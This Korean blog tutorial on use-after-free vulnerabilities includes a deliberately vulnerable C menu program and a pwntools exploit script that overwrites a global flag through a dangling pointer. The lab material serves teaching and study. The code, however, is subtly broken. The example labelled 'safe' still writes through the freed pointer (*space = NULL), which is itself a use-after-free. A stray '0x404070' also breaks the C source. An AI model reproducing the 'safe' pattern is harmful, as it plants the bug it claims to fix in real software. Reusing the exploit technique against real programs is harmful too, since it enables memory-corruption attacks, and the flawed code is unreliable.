2024. 7. 24. 18:04ㆍInformation Security 정보보안/Vulnerability Analysis 취약점 분석
배울내용:
Use After Free
메모리 커럽션 취약점
시스템 해킹 실습
UAF 취약점
해제 후 사용 취약점
dangling pointer
type confusion
heap 구조 취약점
Use After Free 실습
Arbitrary Address Write
Use After Free 취약점이란?
메모리 관리에서 발생할 수 있는 취약점 중 하나로 이 취약점은 프로그래밍에서 동적으로 할당된 메모리를 사용한 후 해제(free)했음에도 불구하고, 해당 메모리를 다시 사용하는 상황에서 발생한다.
발생원인
할당된 동적 메모리를 해제한 후, 해당 공간을 가리키고 있던 포인터를 NULL 로 초기화 하지않아, 해제된 메모리를 재사용 할 수 있을때 발생한다
아래의 코드를 보면 어떤게 위험한 코드인지 안전한 코드인지 알수있다
int main(){
int *space = malloc(32);
free(space);
*space = 1; // vuln
}
int main(){
int *space = malloc(32);
free(space);
*space = NULL; // safe
}
의미
Buffer Overflow 와 더불어 현재 시스템에서도 매우 활발하게 식별되는 취약점 유형, 매우높은 확률로 LPE, RCE 공격으로 이어질수있다
이취약점을 알려면 먼저 Dangling Pointer 의 개념도 알아야한다
Dangling Pointer 란?
Dangling Pointer(댕글링 포인터)는 특정 메모리 위치를 가리키고 있는 포인터인데, 그 메모리 위치가 더 이상 유효하지 않은 상태를 말한다. 이 상태는 일반적으로 해당 메모리가 해제된 후에도 포인터가 여전히 그 위치를 가리키고 있을 때 발생한다.
int main(){
int *space = malloc(32);
free(space);
*space = 1; // vuln <-- Dangling Pointer
}
위에서 봤던 코드에서 이부분이 Dangling Pointer 라고 할수있다 .
space를 free 를 헀음에도 그뒤에 해제된 space 의 메모리의 위치를 가리키고있다.
다른예시로도 아래와 볼수있다
#include <stdlib.h>
#include <stdio.h>
int main() {
int *ptr = (int *)malloc(sizeof(int)); // 메모리 할당
*ptr = 42; // 할당된 메모리 사용
free(ptr); // 메모리 해제
// ptr은 이제 댕글링 포인터
// 아래는 잠재적으로 위험한 사용 예시
printf("%d\n", *ptr); // 해제된 메모리 접근 -> 정의되지 않은 동작
return 0;
}
왜 이런 결과가 발생하는가?
그이유는 Heap 은 효율적인 메모리 관리를 위해 , 새로 할당하고자 하는 공간의 크기를 확인한 후 해제된 공간 중 현재 할당하고자 하는 크기와 같은 공간이 있다면, 해당 공간을 재사용하기 때문이다
Heap의 특성과 Dangling Pointer
Use After Free 취약점이 발생하여 Dangling Pointer 가 존재한다고 가정하고, 해제된 공간이 다른 할당 시도에 의해 재사용되면 동일한 주소 공간을 가리키는 2개의 포인터 변수가 존재하게 된다. 이때 , 2개의 포인터 변수의 타입이 다른 경우 의도적인 Type Confusion 이 발생하게 된다.
코드작성
use_after_free.c
/*
gcc use_after_free.c -no-pie -o use_after_free
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct strStruct{
int idx;
char* string;
};
struct numStruct{
int idx;
int64_t num;
};
struct strStruct *str = NULL;
struct numStruct *num = NULL;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int setString(){
printf("[setString]\n");
if(str == NULL){
str = malloc(sizeof(struct strStruct));
memset(str, 0, sizeof(struct strStruct));
}
printf("input str > ");
char* buf = str->string;
if(!buf){
buf = malloc(0x10);
}
memset(buf, 0, 0x10);
read(0, buf, 0x10);
str->string = buf;
return 0;
}
int getString(){
printf("[getString]\n");
if(str == NULL){
return -1;
}
printf("string @ %s\n", str->string);
return 0;
}
int delString(){
printf("[delString]\n");
if(str == NULL){
return -1;
}
free(str->string);
free(str);
return 0;
}
int setNum(){
printf("[setNum]\n");
if(num == NULL){
num = malloc(sizeof(struct numStruct));
memset(num, 0, sizeof(struct numStruct));
}
printf("input num > ");
scanf("%ld", &num->num);
return 0;
}
int getNum(){
printf("[getNum]\n");
if(!num){
return -1;
}
printf("num @ %ld\n", num->num);
return 0;
}
int delNum(){
printf("[delNum]\n");
if(!num){
return -1;
}
free(num);
num = NULL;
return 0;
}
int menu(){
int idx = 0;
printf("[MENU]\n");
printf("1. setString\n");0x404070
printf("2. getString\n");
printf("3. delString\n");
printf("4. setNum\n");
printf("5. getNum\n");
printf("6. delNum\n");
printf("> ");
scanf("%d",&idx);
switch(idx){
case 1:
setString();
break;
case 2:
getString();
break;
case 3:
delString();
break;
case 4:
setNum();
break;
case 5:
getNum();
break;
case 6:
delNum();
break;
default:
break;
}
}
int flag = 0xdeadbeef;
int main(){
init();
while(1){
printf("flag @ %x\n", flag);
if(flag == 0x31337){
printf("You Win!\n");
return 0;
}
menu();
}
}
위에 코드를 실행해서 해보면
1 번을 누르면 input str 에다가 값을 넣고 그값을 지워서 다시 할당해주면 Segmentation Fault 가 된다
우선 UAF(Use After Free) 공격을 하려면 아래의 3가지 과정이 필요하다
1.Dangling pointer 생성
2. 재할당
3. 기능호출
- Dangling 발생부분은 delString에서 free(str)에서 생김
- 전역변수 str 에 댕글링 포인터가들어가있음
del Num 은 free 이후에 Null 로 되어있어서 안전하게 구성이 되어있지만
delString 은 free(str) 을해주고 Null로 초기화시켜주지않았다
2. Str 이 가지고있는 어떤 포인터에 다른 객체 , 를 재할당시켜야함 (그러지 않으면 걍 터뜨리는것밖에 안된다)
실제로 이것저것 시도해보면 무제한으로 menu를 여는것밖에 안된다
- 크기 동일 && 메모리 레이아웃 (크기도 동일 ,레이아웃 쪽으로도 쓸모 있어야함)
3. 기능호출 AAW 로 p32(31337) (성공조건에맞는 플레그) 를 바꿔준다
AAW ( Arbitrary Address Write ) 이란?
임의 주소 쓰기 취약점. 이 취약점은 공격자가 프로그램 내에서 임의의 메모리 주소에 데이터를 쓸 수 있는 상황을 말한다. 이로 인해 공격자는 메모리의 중요한 부분을 조작할수있다.
Use After free 취약점을 이용한 AAW 구현 , UAF 취약점을 이용해 임의 메모리 주소 쓰기 능력을 구현한후, 전역변수 flag 값을 조작한다
스크립트 작성
uaf.py
from pwn import *
# ELF 객체를 생성하여 바이너리 파일을 로드
elf = ELF("./use_after_free")
# 프로세스를 시작
p = elf.process()
# 문자열을 설정하는 함수
def set_String(string):
p.sendlineafter(b"> ", b"1") # 메뉴에서 옵션 1 선택
p.sendlineafter(b"> ", string) # 문자열을 입력
# 문자열을 삭제하는 함수
def del_string():
p.sendlineafter(b"> ", b"3") # 메뉴에서 옵션 3 선택
# 숫자를 설정하는 함수
def set_num(num):
p.sendlineafter(b"> ", b"4") # 메뉴에서 옵션 4 선택
p.sendlineafter(b"> ", num) # 숫자를 입력
# 주석: 다음은 유즈 애프터 프리 취약점을 악용하는 과정입니다.
# 1. 문자열을 설정 (메모리 할당)
set_String(b"AAAA")
# 2. 문자열을 삭제 (메모리 해제)
del_string()
# 3. 숫자를 설정하여 같은 메모리 영역에 재할당 (dangling pointer 발생)
# 이때, `flag` 함수의 주소를 설정함
set_num(str(elf.sym["flag"]).encode())
# 4. 다시 문자열을 설정하여 재할당된 메모리를 덮어씌움
# p32(0x31337) 값을 넣어 새로운 문자열로 설정
set_String(p32(0x31337))
# 인터랙티브 모드로 전환하여 쉘을 유지
p.interactive()
설명제외 코드작성
from pwn import *
elf= ELF("./use_after_free")
p = elf.process()
def set_String(string):
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"> ",string)
def del_string():
p.sendlineafter(b"> ",b"3")
def set_num(num):
p.sendlineafter(b"> ",b"4")
p.sendlineafter(b"> ",num)
#dangling pointer
set_String(b"AAAA")
del_string()
#realloc
set_num(str(elf.sym["flag"]).encode())
#use
set_String(p32(0x31337))
p.interactive()
코드를 적은뒤에 실행시켜보면 아래와 같이 성공 플레그를 뛰울수있게된다
간단하게 성공할수있다
'Information Security 정보보안 > Vulnerability Analysis 취약점 분석' 카테고리의 다른 글
시스템 해킹 실습 -13. 메모리 보호 기법 개념 - Canary , NX(No Execute) (0) | 2024.07.26 |
---|---|
시스템 해킹 실습 -12 . Race Condition (레이스 컨디션 취약점) (4) | 2024.07.24 |
시스템 해킹 실습 -10 . Buffer OverFlow (버퍼 오버플로우) FAKE RBP [4] (2) | 2024.07.23 |
시스템 해킹 실습 -9 . Buffer OverFlow (버퍼 오버플로우) [3] (2) | 2024.07.23 |
시스템 해킹 실습 -8 . Buffer OverFlow (버퍼 오버플로우) [2] (0) | 2024.07.21 |